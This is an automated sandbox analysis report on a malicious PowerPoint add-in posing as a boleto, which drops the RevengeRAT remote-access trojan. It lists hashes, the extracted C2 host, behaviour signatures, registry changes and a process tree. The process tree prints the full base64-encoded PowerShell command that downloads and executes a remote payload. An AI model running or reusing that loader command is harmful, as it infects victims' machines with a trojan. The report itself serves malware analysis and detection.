Analysis
-
max time kernel
150s -
max time network
177s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
07-05-2023 06:26
Static task
static1
Behavioral task
behavioral1
Sample
Boleto2002301988master.ppam
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
Boleto2002301988master.ppam
Resource
win10v2004-20230220-en
General
-
Target
Boleto2002301988master.ppam
-
Size
13KB
-
MD5
c323058745acd4feab0c15282709a04e
-
SHA1
8e5a988968000ecfa816352c52bd66490bc2b31a
-
SHA256
2e07606a2d33855138f2430c5aab7e1894e0e75efd2ab1b39ac76256614ca462
-
SHA512
fa719dcc24dca693779406ab5eca4f7f4a0bfb736cb91b0868105213c91e0733600a33b49b6fdf4a7bfbaed84ae4407127181b86f6ede9e6f69bcefcd60400c9
-
SSDEEP
384:dXPzPWrxbb3wiyhJ4eSTbhkIYGgAjLHU+zerK9p:VPObL7yz8hkIp5Vyw
Malware Config
Extracted
revengerat
NyanCatRevenge
b2b.ddns.com.br:5222
d9261ef3301b4b86a95
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 1236 2028 powershell.exe POWERPNT.EXE -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 1236 powershell.exe 7 1236 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1236 set thread context of 1668 1236 powershell.exe RegSvcs.exe -
Processes:
POWERPNT.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\Toolbar POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" POWERPNT.EXE -
Modifies registry class 64 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EF-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493455-5A91-11CF-8700-00AA0060263B}\ = "DocumentWindows" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493469-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D7-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A50-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "FileConverters" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A61-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E551-4FF5-48F4-8215-5505F990966F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345D-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C8-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A64-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6F-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DC-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DF-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E4-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A75-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A54-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A69-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartFont" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\ = "MediaBookmarks" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493470-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493483-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E8-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493473-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349A-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C4-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A54-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348E-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493498-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493480-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E553-4FF5-48F4-8215-5505F990966F} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F1-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A61-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A64-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "DisplayUnitLabel" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493473-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CD-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\ = "AnimationBehaviors" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493452-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345F-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346B-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A56-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DF-5A91-11CF-8700-00AA0060263B}\ = "Effect" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F0-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F1-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493476-5A91-11CF-8700-00AA0060263B}\ = "Placeholders" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493476-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348B-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493487-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D9-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A69-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A74-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 2028 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1236 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1236 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
POWERPNT.EXEpid process 2028 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
POWERPNT.EXEpowershell.exedescription pid process target process PID 2028 wrote to memory of 1980 2028 POWERPNT.EXE splwow64.exe PID 2028 wrote to memory of 1980 2028 POWERPNT.EXE splwow64.exe PID 2028 wrote to memory of 1980 2028 POWERPNT.EXE splwow64.exe PID 2028 wrote to memory of 1980 2028 POWERPNT.EXE splwow64.exe PID 2028 wrote to memory of 1236 2028 POWERPNT.EXE powershell.exe PID 2028 wrote to memory of 1236 2028 POWERPNT.EXE powershell.exe PID 2028 wrote to memory of 1236 2028 POWERPNT.EXE powershell.exe PID 2028 wrote to memory of 1236 2028 POWERPNT.EXE powershell.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe PID 1236 wrote to memory of 1668 1236 powershell.exe RegSvcs.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Boleto2002301988master.ppam"1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1980
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADMAOAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8ANQAtAGgAZQBUAGYAMwBEAC8ARgBhAGMAawAuAGoAcABnAD8AZABzAGkAZAA9AEkANQBQAGEAQQBhAEoAYgAuAGIANQBhAGUANgAzAGIAMAAxADUAMQBhAGIAZgAyAGUAMgA0AGUANwBhAGMAMABjAGUANAA5ADQAZQAzADUANQAmAHMAYgBzAHIAPQBhADQAZABjAGMAOQBkAGMAMAA4ADUAMgA1ADYAYQA1AGMAZABlAGIAOQAxADMAMAA4ADkAZgBmAGQAYQA3AGEAYQBkAGMAJgBiAGkAcAA9AE0AagBBAHgATABqAEkAdwBMAGoARQB5AE4AeQA0AHkATQBUAEkAJgBsAGcAZgBwAD0ANAAwAA0ACgAnACkAOwAgAA0ACgBVAEEAYwBMAEYAVABOAEkAYgBJAEYAVgBYAGMAdABlAEkAUwBWAE0AVgBoAFAAaQBlAHIASgBGAEkAYQBBAE0AUABzAEYATgBYAEcAVwBEAHcATQBEAFoAdgByAE8ARgBjAEwAdABBAFgAcgBNAHYAawBVAEgAdwANAAoA""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵PID:1668
-
-